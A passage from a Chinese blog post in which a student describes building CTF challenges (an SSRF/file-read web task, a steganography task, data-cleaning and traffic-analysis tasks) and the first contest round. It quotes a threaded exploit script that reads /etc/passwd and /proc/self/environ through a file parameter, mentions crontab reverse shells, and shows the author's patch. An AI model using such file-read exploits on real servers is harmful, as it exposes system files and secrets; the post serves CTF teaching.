jsonify(</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: status_code,</span><br><span class="line">                <span class="string">&quot;success&quot;</span>: <span class="number">200</span> &lt;= status_code &lt; <span class="number">400</span> <span class="keyword">or</span> status_code == <span class="number">0</span>,</span><br><span class="line">                <span class="string">&quot;data&quot;</span>: &#123;<span class="string">&quot;url&quot;</span>: target_url, <span class="string">&quot;content&quot;</span>: content&#125;,</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> pycurl.error <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> jsonify(</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: <span class="number">500</span>,</span><br><span class="line">                <span class="string">&quot;success&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">                <span class="string">&quot;data&quot;</span>: &#123;<span class="string">&quot;url&quot;</span>: target_url, <span class="string">&quot;content&quot;</span>: <span class="string">f&quot;CURL Error: <span class="subst">&#123;e.args[<span class="number">1</span>]&#125;</span>&quot;</span>&#125;,</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> jsonify(</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: <span class="number">500</span>,</span><br><span class="line">                <span class="string">&quot;success&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">                <span class="string">&quot;data&quot;</span>: &#123;<span class="string">&quot;url&quot;</span>: target_url, <span class="string">&quot;content&quot;</span>: <span class="built_in">str</span>(e)&#125;,</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">finally</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;c&quot;</span> <span class="keyword">in</span> <span class="built_in">locals</span>():</span><br><span class="line">            c.close()</span><br><span class="line">        buffer.close()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后不出意外地就出意外了，<code>file</code> 协议有问题，然后我就把 file 单拎出来处理了（直接 open，read，返回）</p><p>最后完成了我的题目代码，进入了调试阶段</p><p>第一题还是很正常的，到了第二题我发现了一个问题</p><p><strong>他喵的为什么我的 shell 反弹不出来啊喂！！！</strong></p><p>然后我去搜了一下这个玩法大伙都是怎么玩的，看到了这么一条东西</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_LLXeeKSpcV.png"></p><p>没错，这个玩法要 CentOS，只有 CentOS 会忽略 crontab 文件里面的错误，挑出正确的来执行</p><p>那——好吧，我去换个系统不就完事了呗</p><p>这不换不要紧，一换就出事了</p><p><strong>CentOS 停更了呀喂！！！</strong></p><p>就导致了我 Dockerfile 最开头的 yum 根本就装不到依赖，找了一下得把镜像源的域名改成 <code>vault.centos.org</code> 才行</p><p>搞定了镜像源，又遇到了 Python 版本的问题，CentOS 预装 Python 3.6，这东西太老了，我的 <code>Werkzeug==2.1.2</code> 在 3.6 根本就装不上，然后我想的是那我就弄一个现场编译 Python 3.9 的呗，但是还是依赖问题，编译频频出错，直到我找到了有现成的</p><blockquote><p><a href="https://github.com/indygreg/python-build-standalone/releases/download/20230726/cpython-3.9.17+20230726-x86_64-unknown-linux-gnu-install_only.tar.gz">https://github.com/indygreg/python-build-standalone/releases/download/20230726/cpython-3.9.17+20230726-x86_64-unknown-linux-gnu-install_only.tar.gz</a></p></blockquote><p>于是我直接从这里下载，然后创建软链接，才解决了 Python 的问题，测试了一下，这题终于出好了……嘛？</p><h2 id="出题：Dino"><a href="#出题：Dino" class="headerlink" title="出题：Dino"></a>出题：Dino</h2><p>到了我们要差不多上题测试的时间了，我们逐渐发现 Web 题没有最简单的那种题——<kbd>F12</kbd> 查看 flag，于是我又去弄了这一题</p><blockquote><p>Dino</p><p>来玩经典的小恐龙吧！</p></blockquote><blockquote><p>题目源码：<a href="https://github.com/GDUTMeow/Challenge-Dino">https://github.com/GDUTMeow/Challenge-Dino</a></p></blockquote><p>这里我本来想用 2048 的，但是 2048 的 js 和 css 什么的太多了，而且整个 html 的代码量是偏大的，不适合宝宝巴士</p><p>然后我突然想起来谷歌小恐龙，于是就拿着小恐龙的代码出了这一题，简单的文本替换而已</p><h2 id="出题：ez-traffic"><a href="#出题：ez-traffic" class="headerlink" title="出题：ez_traffic"></a>出题：ez_traffic</h2><blockquote><p>流量分析很简单哦！</p></blockquote><blockquote><p>原题附件：<a href="https://github.com/GDUTMeow/Challenge-eztraffic">https://github.com/GDUTMeow/Challenge-eztraffic</a></p></blockquote><p>这题本来没想出的，但是群里面当时大伙这样说</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/8yTmICg1Kf.png"></p><p>然后我就出了一道宝宝 traffic，我直接在我的电脑上开了个 Python 的 <code>http.server</code>，然后用我上面 CS 那道题的虚拟机抓的包，用这台机子访问我的 http.server 然后下载我含有 flag 的图片就搞定了</p><h2 id="出题：为什么要演奏春日影！"><a href="#出题：为什么要演奏春日影！" class="headerlink" title="出题：为什么要演奏春日影！"></a>出题：为什么要演奏春日影！</h2><blockquote><p>为什么要演奏春日影！</p><p>Luminoria 听了春日影这首歌后，决定将 Soyo 的金句用工具写进春日影中，来帮助修复 Soyo 的心理阴影（真的修复了吗</p><p>最后 Luminoria 决定使用一个跟深度求索公司具有同样开头 <code>Deep</code> 的一个工具来将金句写入到春日影这首歌中</p><blockquote><p>Soyo: （冲向 Saki 酱，抓住她的手）「拜托了，求求你，要是没有 Saki 酱的话，我就…」</p><p>Saki：「放开我 」</p><p>Soyo：（跪下来求）「要我怎样做你才肯回来，只要是我能做的，我什么都愿意做 」</p><p>Saki：（不屑）「你是抱着多大的觉悟说出这样的话的？」</p><p>「你只不过是一个学生，有办法背负他人的人生吗？」</p><p>「“什么都愿意做”就是这么沉重的话。不要这么随便说出口。 」</p><p>Soyo：「但是，我真的…」</p><p>Saki：（甩开手）「你这个人，满脑子只会想到自己呢」（走开 ）</p><p>Soyo：（跪在原地）</p><p>天空中下起了小雨，睦头人看着 Soyo，一言不发</p></blockquote></blockquote><p>这题是因为刚好在听春日影</p>        <div id="aplayer-MfuGdZIO" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;">            <pre class="aplayer-lrc-content"></pre>        </div>        <script>          var ap = new APlayer({            element: document.getElementById("aplayer-MfuGdZIO"),            narrow: false,            autoplay: false,            showlrc: false,            music: {              title: "春日影",              author: "CRYCHIC",              url: "https://music.163.com/song/media/outer/url?id=2154464431.mp3",              pic: "https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/109951169577745503.jpg",              lrc: ""            }          });          window.aplayers || (window.aplayers = []);          window.aplayers.push(ap);        </script><p>而且发现 MISC 题目里面没有音频隐写，于是就出了这个题目</p><p>最开始本来想在频谱图里面塞 flag 的， 但是没有找到怎么在频谱图里面塞（经典会做题不会出题了），所以没办法</p><p>然后我尝试使用 MP3Stego 和 SlientEye，但是不知道为什么，我用 ffmpeg 转换出来的 wav 音频丢进这两个软件都无法识别是 wav 文件，不是少这个就是少那个</p><p>后来我就用 Deepsound 了，直接把 flag 文件塞进去就完事了</p><p>本来还想给 Deepsound 设置密码，但是我发现 wav 的备注无法在文件属性里面显示，所以只能不塞密码了，刚好也是宝宝巴士了</p><h2 id="出题：Data-Analysis"><a href="#出题：Data-Analysis" class="headerlink" title="出题：Data Analysis"></a>出题：Data Analysis</h2><blockquote><p>原题附件：<a href="https://github.com/GDUTMeow/Challenge-Data-Analysis">https://github.com/GDUTMeow/Challenge-Data-Analysis</a></p></blockquote><blockquote><p><strong>所有数据均为随机生成</strong></p><h2 id="校验规范"><a href="#校验规范" class="headerlink" title="校验规范"></a>校验规范</h2><blockquote><ul><li>编号：纯数字，最后应该从小到大排列</li><li>用户名：由数字、字母组成</li><li>密码：密码 hash 值为 32 位小写 md5 值</li><li>姓名：由全中文组成</li><li>性别：只能为 <code>男</code> 或者 <code>女</code>，且身份证号中代表性别的那一位要对应上</li><li>出生日期：由 8 位数字组成，和身份证号中的出生日期码保持一致</li><li>身份证号：应该符合国家对于身份证号的校验规则，本题中提供的身份证号均符合规则</li><li>手机号码为 11 位 10 进制数字字符串，前三位的号段限定在以下的集合中<ul><li><code>734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799</code></li></ul></li></ul></blockquote><h2 id="题目要求"><a href="#题目要求" class="headerlink" title="题目要求"></a>题目要求</h2><p>你应该将每一行都变成与表头相同的顺序排列，表头顺序为 <code>编号, 用户名, 密码, 姓名, 性别, 出生日期, 身份证号, 手机号码</code>，对应 <code>number</code> <code>username</code> <code>password</code> <code>name</code> <code>gender</code> <code>birth</code> <code>id</code> <code>phone</code></p><p>例如，假设你拿到的数据为（下面数据为瞎编的）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码</span><br><span class="line">Luminoria,79811451419,114514200002291919,20000229,小猪佩奇,1,男,e10adc3949ba59abbe56e057f20f883e</span><br><span class="line">20050330,2,c4d038b4bed09fdb1471ef51ec3a32cd,7529876543,男,191981200503301155,刻晴,KeqingMoe</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>则最后你应该把数据变成这样</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">number,username,password,name,gender,birth,id,phone</span><br><span class="line">1,Luminoria,e10adc3949ba59abbe56e057f20f883e,小猪佩奇,男,20000229,114514200002291919,79811451419</span><br><span class="line">2,KeqingMoe,c4d038b4bed09fdb1471ef51ec3a32cd,刻晴,男,20050330,191981200503301155,7529876543</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>将数据<strong>以 UTF-8 编码方式</strong>保存后，确保<strong>最后含有一行空行</strong>，将文件内容进行 md5 运算，最后得到的值加上 <code>flag&#123;&#125;</code> 包裹即为最后的答案</p><h2 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h2><ul><li>你的换行应该使用 <code>\n</code>，你可以在调试的时候使用 <code>print(repr(data))</code> 来确认这一点</li><li>在你进行 md5 运算的文件内容中，最后有一个空行，就例如上面给你处理后的例子中，最后一行有一个空行</li><li>你进行 md5 运算的文件内容中，你需要注意不要忘掉首行的表头</li></ul></blockquote><p>本来 DS 只有一道题目的，但是考虑到要每一批都至少有一个吧，所以就整多了两道 DS 的题目</p><p>这里的数据是用的 <a href="/posts/CTF-Yangcheng2024-Writeup/">2024 羊城杯</a>的数据（没办法它数据太好看了）</p><p>做法跟羊城杯的完全一致，出了没有验数据的平台和我把标头改了而已，因为一点不一样就会导致 md5 完全不一样，所以我对数据格式的要求也比较的严格</p><p>改了改就出了这道题目了</p><h2 id="出题：Data-from-Log"><a href="#出题：Data-from-Log" class="headerlink" title="出题：Data from Log"></a>出题：Data from Log</h2><blockquote><p>原题附件：<a href="https://github.com/GDUTMeow/Challenge-Data-Analysis">https://github.com/GDUTMeow/Challenge-Data-Analysis</a></p></blockquote><blockquote><p><strong>所有数据均为随机生成</strong></p><p>现在发生了一件很不幸的事情，数据库里面的数据丢失了，我们无法通过数据库来获取需要的内容，所幸的是，阿帕奇的 log 还在</p><h2 id="题目要求-1"><a href="#题目要求-1" class="headerlink" title="题目要求"></a>题目要求</h2><p>现在你需要做下面的这些事情</p><ul><li>首先，你得从日志中还原出各个用户输入的个人信息，他们包含了<ul><li>用户名：只能由字母和数字组成<ul><li>正确示例：<code>admin</code>、<code>Luminoria</code>、<code>KeqingMoe</code>、<code>h3ll0World</code></li><li>错误示例：<code>ad_min</code>、<code>Zhang_san</code></li></ul></li><li>姓名：全中文<ul><li>正确示例：<code>张三</code>、<code>李四</code></li><li>错误示例：<code>z三</code>、<code>李4</code></li></ul></li><li>身份证号：固定为 18 位，符合国家关于身份证的校验规则（本题不设置性别校验）</li><li>手机号码：为 11 位数字字符串，其中前三位固定在下面的集合中<ul><li><code>734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799</code></li></ul></li><li>密码：由数字和字母组成，没有符号</li></ul></li><li>接着，你要对数据进行脱敏<ul><li>用户名：若只有两个字符则只对最后⼀位使⽤ * 号代替，否则只保留第⼀位和最后⼀位字符，其余都⽤ * 号代替，例如“ab”脱敏后就是“a*”，“abcde”脱敏后就是“a***e”。</li><li>密码：对明文密码进行 md5 计算，例如 <code>123456</code> 计算后为 <code>e10adc3949ba59abbe56e057f20f883e</code></li><li>名字：⼆字姓名对最后⼀位使⽤ * 号代替，三字即以上姓名除第⼀位和最后⼀位以外都使⽤ * 号代替， 例如 <code>张三</code> 脱敏后就是 <code>张*</code>，<code>王不⼆</code> 脱敏后就是 <code>王*⼆</code></li><li>身份证号：只保留年份，其余都使⽤ * 号代替，例如 <code>172865199108200356</code> 脱敏后就是 <code>******1991********</code></li><li>手机号码：对 4-7 位的地区编码使⽤ * 号代替，例如 <code>74580417166</code> 脱敏后就是 <code>745****7166</code></li></ul></li><li>最后，你应该将脱敏后的所有数据按照 <code>username, password, name, idcard, phone</code> 对应 <code>用户名、密码、名字、身份证号、手机号码</code> 的顺序，将所有数据<strong>按照 UTF8 编码方式</strong>保存，文件的最后应该有一行空行</li><li>表头应该为 <code>username,password,name,idcard,phone</code></li></ul><h2 id="注意-1"><a href="#注意-1" class="headerlink" title="注意"></a>注意</h2><ul><li>你的换行应该使用 <code>\n</code>，你可以在调试的时候使用 <code>print(repr(data))</code> 来确认这一点</li><li>你进行 md5 运算的文件内容中，你需要注意不要忘掉首行的表头</li></ul></blockquote><p>这题也是 <a href="/posts/CTF-Yangcheng2024-Writeup/">2024 羊城杯</a>的数据，而且是原题，我改都没改，要求都跟羊城杯的一致</p><p>还是因为每一批都要有一题，所以拿过来直接用，当然因为我懒没有写数据校验平台，所以就……嗯</p><h2 id="出题：Is-It-Really-Secure"><a href="#出题：Is-It-Really-Secure" class="headerlink" title="出题：Is It Really Secure??"></a>出题：Is It Really Secure??</h2><p>还是因为每一批都要有一题，所以我打算给取证加多一题</p><blockquote><p>原题附件：<a href="https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure">https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure</a></p></blockquote><p>这题用的是 FTP，因为 FTP 具有明文传输的特性，所以其数据流很容易就能分析，而且也很容易拿到里面的文件</p><p>我先用我的服务器搭了一个 FTP 服务</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker run -d -v /home/gamernotitle/docker/vsftpd:/home/vsftpd -v /var/log/vsftpd/:/var/log/vsftpd/ -p 20:20 -p 21:21 -p 20000:20000 -e FTP_USER=Luminoria -e FTP_PASS=my-Str0ng_p@55w0Rd -e PASV_MIN_PORT=20000 -e PASV_MAX_PORT=20000 -e PASV_ADDRESS=192.168.88.128 -e LOG_STDOUT=1 --name vsftpd --restart=always fauria/vsftpd</span></span><br></pre></td></tr></table></figure><p>这样就可以打开这个 ftp 服务，但是我用抓流量专用机（上面 CS 的机子）抓的时候，发现一直会弹连接被重置，但是这是内网，所以肯定不是我网络的问题</p><p>然后我尝试了一下 Filezilla，看到了更详细的内容，它推荐我使用 PASV_MODE 试试，于是我把 PASV_MODE 打开了，就可以了</p><p>然后就是正常的抓流量环节</p><p>这次为了与第一题进行区分，我还加了伪加密 zip 包</p><p>我把 flag 的二维码丢在了 zip 里面，然后用 010 Editor 更改了标头，让这个 zip 包进入伪加密的状态，把伪加密破了就能出 flag 了</p><h2 id="修题：登录-PRTS-2"><a href="#修题：登录-PRTS-2" class="headerlink" title="修题：登录 PRTS 2"></a>修题：登录 PRTS 2</h2><p>起因是群里 rkk 说有一个更简单的做法</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/gMXEEw4Kjh.png"><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/kDNlyFOmng.png"><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/WeChat_21jnyJfmYy.png"><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/WeChat_Fp2r7Qifx2.png"></p><p>sekaictf-2024 的 exp 是这样写的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urlparse</span><br><span class="line"></span><br><span class="line">paths = [<span class="string">&quot;/etc/passwd&quot;</span>, <span class="string">&quot;/proc/self/environ&quot;</span>, <span class="string">&quot;/proc/self/fd/20&quot;</span>]</span><br><span class="line">pat = <span class="string">&quot;HOSTNAME=&quot;</span></span><br><span class="line"></span><br><span class="line">t = []</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">req</span>(<span class="params">url</span>):</span><br><span class="line">    parsed_url = urlparse(url)</span><br><span class="line">    hostname = parsed_url.hostname</span><br><span class="line">    path = parsed_url.path <span class="keyword">if</span> parsed_url.path <span class="keyword">else</span> <span class="string">&quot;/&quot;</span></span><br><span class="line">    query = parsed_url.query</span><br><span class="line">    port = parsed_url.port <span class="keyword">if</span> parsed_url.port <span class="keyword">else</span> <span class="number">80</span></span><br><span class="line"></span><br><span class="line">    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    client_socket.connect((hostname, port))</span><br><span class="line"></span><br><span class="line">    request_line = <span class="string">f&quot;GET <span class="subst">&#123;path&#125;</span>?<span class="subst">&#123;query&#125;</span> HTTP/1.1\r\n&quot;</span></span><br><span class="line">    headers = <span class="string">f&quot;Host: <span class="subst">&#123;hostname&#125;</span>\r\nConnection: close\r\n\r\n&quot;</span></span><br><span class="line">    request = request_line + headers</span><br><span class="line"></span><br><span class="line">    client_socket.sendall(request.encode())</span><br><span class="line"></span><br><span class="line">    response = <span class="string">b&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        part = client_socket.recv(<span class="number">4096</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> part:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        response += part</span><br><span class="line"></span><br><span class="line">    client_socket.close()</span><br><span class="line"></span><br><span class="line">    response_text = response.decode()</span><br><span class="line">    header_end = response_text.find(<span class="string">&quot;\r\n\r\n&quot;</span>)</span><br><span class="line">    body = response_text[header_end + <span class="number">4</span> :]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> body</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check</span>(<span class="params">url</span>):</span><br><span class="line">    res = req(url)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> pat <span class="keyword">in</span> res:</span><br><span class="line">        <span class="built_in">print</span>(res)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">et</span>(<span class="params">payload</span>):</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            check(<span class="string">&quot;http://localhost:1337/?file=&quot;</span> + payload)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(e)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">    <span class="keyword">for</span> p <span class="keyword">in</span> paths:</span><br><span class="line">        t.append(threading.Thread(target=et, args=(p,)))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> t:</span><br><span class="line">    i.start()</span><br></pre></td></tr></table></figure><p>而我当时出题的时候没有注意 <code>/proc</code> 这个特殊目录的问题，所以导致直接请求读取 <code>/proc/self/environ</code> 就能够出第二题的 flag</p><p>甚至甚至，拿着第一题的目录穿越任意文件读取都能够得到 flag，那这就是非预期解了，所以我加入了更多的权限校验，例如如果有 <code>/proc</code> 就直接 403，还有对普瑞赛斯的身份进行校验（下面是一个小片段</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/api/get_resource&quot;</span>, methods=[<span class="string">&quot;POST&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">resource_handler</span>():</span><br><span class="line">    token = request.cookies.get(<span class="string">&quot;token&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> token:</span><br><span class="line">        <span class="keyword">return</span> redirect(<span class="string">&quot;/login&quot;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        jwt_data = jwt.decode(</span><br><span class="line">            token,</span><br><span class="line">            app.config[<span class="string">&quot;SECRET_KEY&quot;</span>],</span><br><span class="line">            algorithms=[<span class="string">&quot;HS256&quot;</span>],</span><br><span class="line">            options=&#123;<span class="string">&quot;verify_aud&quot;</span>: <span class="literal">False</span>&#125;,</span><br><span class="line">        )</span><br><span class="line">        <span class="keyword">if</span> jwt_data.get(<span class="string">&quot;sub&quot;</span>) != <span class="string">&quot;priestess&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span> make_response(<span class="string">&quot;Permission Denied&quot;</span>, <span class="number">403</span>)</span><br><span class="line">    <span class="keyword">except</span> jwt.ExpiredSignatureError:</span><br><span class="line">        response = redirect(<span class="string">&quot;/login&quot;</span>)</span><br><span class="line">        response.set_cookie(<span class="string">&quot;token&quot;</span>, <span class="string">&quot;&quot;</span>, expires=<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">return</span> response</span><br><span class="line">    <span class="keyword">except</span> jwt.InvalidTokenError:</span><br><span class="line">        response = redirect(<span class="string">&quot;/login&quot;</span>)</span><br><span class="line">        response.set_cookie(<span class="string">&quot;token&quot;</span>, <span class="string">&quot;&quot;</span>, expires=<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">return</span> response</span><br><span class="line">...</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> parsed.scheme == <span class="string">&quot;file&quot;</span>:</span><br><span class="line">            <span class="comment"># 因为改用 CentOS 后 curl 的版本太低了没有 PATH_AS_IS 选项，所以这里进行手动处理</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;/proc&quot;</span> <span class="keyword">in</span> parsed.path:</span><br><span class="line">                <span class="keyword">return</span> jsonify(</span><br><span class="line">                    &#123;</span><br><span class="line">                        <span class="string">&quot;code&quot;</span>: <span class="number">403</span>,</span><br><span class="line">                        <span class="string">&quot;success&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">                        <span class="string">&quot;data&quot;</span>: &#123;<span class="string">&quot;url&quot;</span>: target_url, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;Permission Denied&quot;</span>&#125;,</span><br><span class="line">                    &#125;</span><br><span class="line">                )</span><br><span class="line">        ...</span><br></pre></td></tr></table></figure><p>然后才把这个地方给堵上了</p><h2 id="出题总结"><a href="#出题总结" class="headerlink" title="出题总结"></a>出题总结</h2><p>怎么说呢，我真佩服我自己点子那么多</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250425165717.png"></p><p>当然本次出题也出现了考虑不周全的问题，还有就是对环境不熟悉的问题（上面 CentOS 那个），不过这次出题确实出爽了，有简单的，也有难的</p><p>出题跟做题都是很有意思的事情，下次继续（诶嘿</p><p>现在就等比赛开始了，比赛打完了再来更下面吧</p><h1 id="比赛中"><a href="#比赛中" class="headerlink" title="比赛中"></a>比赛中</h1><p>这次比赛我们班其实有三个队伍，但是说实在的他们都比较小白，体现在什么方面呢？逆向没有 IDA，流量分析没有 Wireshark，就最基础的这些工具其实我们班的兄弟们也不知道，但是我是出题的我也不可能跟他们说这些东西</p><p>本次比赛的难度分级为 <code>Easy</code> &lt; <code>Normal</code> &lt; <code>Hard</code> &lt; <code>Expert</code> &lt; <code>Master</code></p><h2 id="第一批"><a href="#第一批" class="headerlink" title="第一批"></a>第一批</h2><p>第一批里面我的题是相对简单的，给了</p><ul><li>[easy] 签个到吧（关注公众号发关键词，上面没写）</li><li>[easy] Dino（F12 看注释）</li><li>[easy] ez_traffic（wireshark 打开后直接导出 HTTP 文件）</li><li>[easy] 为什么要演奏春日影（Deepsound 提取文件）</li><li>[easy] 你真的懂 Base 嘛（Base 大杂烩）</li><li>[easy] Data Cleaning（数据清理，脚本题）</li></ul><p>其中签到不必多说，Dino 也是上来就出了，这两个算比较简单的</p><p>其次是 ez_traffic 和 Data Cleaning，因为说实话，只要懂得处理拿到的文件就能够拿分，这两题，所以也是偏简单的</p><p>比较好玩的应该是春日影那个题，各种各样的 flag 都出来了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_3AZB1xdjiy.png"></p><p>我承认你对本番的理解很到位，但是这不是正确答案 &#x3D;-&#x3D;</p><p>不过最令我惊奇的是 Base 大杂烩难倒了好多人，我原本的想法就是如果你去搜 <code>Twitter</code> <code>Base</code> <code>2048</code>，很容易搜到 <code>Base2048</code> 这个东西，然后写一个简单的 Python 脚本先脱 2048 这一层</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base2048</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;base.txt&quot;</span>, <span class="string">&quot;rt&quot;</span>, encoding=<span class="string">&quot;utf8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    data = f.read()</span><br><span class="line">    decoded_data = base2048.decode(data)</span><br><span class="line">    <span class="built_in">print</span>(decoded_data.decode())</span><br></pre></td></tr></table></figure><p>然后再去搜 <code>Base</code> <code>一把梭</code> 搜到 Basecrack，直接就能够用 basecrack 解开这个大杂烩</p><p>但是好像我们的参赛选手好像不知道后面还有，认为解开 2048 出来的那串字符串就是 flag，然后就交上去了，所以就能看到这样的提交记录</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_QfAtWk80kC.png"></p><p>到了大概 23:45 的时候，看着还是没人出，我就给了三个提示</p><blockquote><p>💡提示1：将内容从乱码变成一串由 ASCII 字符组成的字符串后还有步骤，脱离不开题目名字，关注一下题目的最后一句话</p><p>💡提示2：当你解出来的内容是以 <code>flag&#123;</code> 开头的，那你就得到 flag 了</p><p>💡提示3：flag 